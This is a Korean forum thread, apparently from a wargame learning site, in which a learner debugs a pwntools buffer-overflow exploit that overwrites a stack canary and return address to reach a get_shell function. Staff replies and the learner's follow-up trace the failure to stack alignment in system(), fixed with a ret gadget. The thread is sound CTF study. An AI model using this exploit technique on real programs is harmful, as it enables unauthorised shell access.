로컬에서 테스트시 질문

master canary를 알아냈고, 3번 메뉴를 이용해서 아래와 같이 shell을 획득하려고 하는데,
stack smashing 으로 죽는건 아닌데, (canary는 통과한듯 합니다.) [*] Got EOF while reading in interactive로 계속 에러가 발생합니다.
뭐가 잘못 된걸 까요?

giveshell = elf.symbols['get_shell']
payload = b"A"*0x28
payload += p64(canary,endian="little")
payload += b"B"*8
payload += p64(giveshell, endian="little")

p.sendafter("Leave comment: ", payload)

gdb상으로 봐도 get_shell로 잘 넘어간 것 같은데, shell 획득이 안 됩니다.

#pwnable
작성자 정보
답변 7
avatar
Dreamhack
대표 업적 없음

안녕하세요,
p.interactive() 를 사용하셨는지 확인 부탁드립니다.

2022.04.13. 11:35
anous
대표 업적 없음

아래와 같이 하였는데, shell을 얻지를 못합니다. ㅠ
gdb 상에서 보니, get_shell 함수로 jump한 뒤 system('/bin/sh')를 실행하면서 stcak을 /bin/sh로 덮지 못하고, 바로 signal 루틴쪽으로 jump합니다.

p.sendline(str(3))
giveshell = elf.symbols['get_shell']

payload = b"A"*0x28
payload += p64(canary,endian="little")
payload += b"B"*8
payload += p64(giveshell, endian="little")

p.sendafter("Leave comment: ", payload)

p.interactive()
2022.04.13. 13:41
avatar
Dreamhack
대표 업적 없음

확인 결과 20.04 환경에서는 stack alignment가 깨지면서 system 함수 안에서 segfault를 유발할 수 있는 것으로 확인하였습니다.
return address를 ret 가젯으로 변경하고 그 이후에 get_shell 함수의 주소를 넣어보시는걸 추천드립니다.

2022.04.13. 14:24
anous
대표 업적 없음

답변 감사합니다. 제 환경은 18.04입니다. retturn address라를 ret 가젯으로 변경하는 것이 어떤 것인지 설명 부탁 드립니다.

2022.04.13. 14:42
avatar
Dreamhack
대표 업적 없음

18.04 시면 이전 답변 이전에 gdb 에서 죽는 시점의 instruction 이 어떤것인지 봐야할 것같습니다. gdb에서 c(continue) 명령어를 사용하다가 segfault 가 났다고 알려주는 시점의 명령어가 무엇인가요?

2022.04.13. 15:03
anous
대표 업적 없음

0x400a53 다음 instruction에서 signal 방생합니다.

   0x400c7d <main+376>            ret
    ↓
   0x400a4a <get_shell>           push   rbp
   0x400a4b <get_shell+1>         mov    rbp, rsp
   0x400a4e <get_shell+4>         mov    edi, 0x400d0d
 ► 0x400a53 <get_shell+9>         call   system@plt <system@plt>
        command: 0x400d0d ◂— 0x68732f6e69622f /* '/bin/sh' */

   0x400a58 <get_shell+14>        nop
   0x400a59 <get_shell+15>        pop    rbp
   0x400a5a <get_shell+16>        ret

   0x400a5b <thread_routine>      push   rbp
   0x400a5c <thread_routine+1>    mov    rbp, rsp```
2022.04.13. 16:13
anous
대표 업적 없음

Stage 8의 ret gadget을 이용해서 Ubuntu 18.04에서의 system() 호출 부 에러 해결했습니다. (movaps를 알아야 하네요)

2022.04.13. 21:21
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기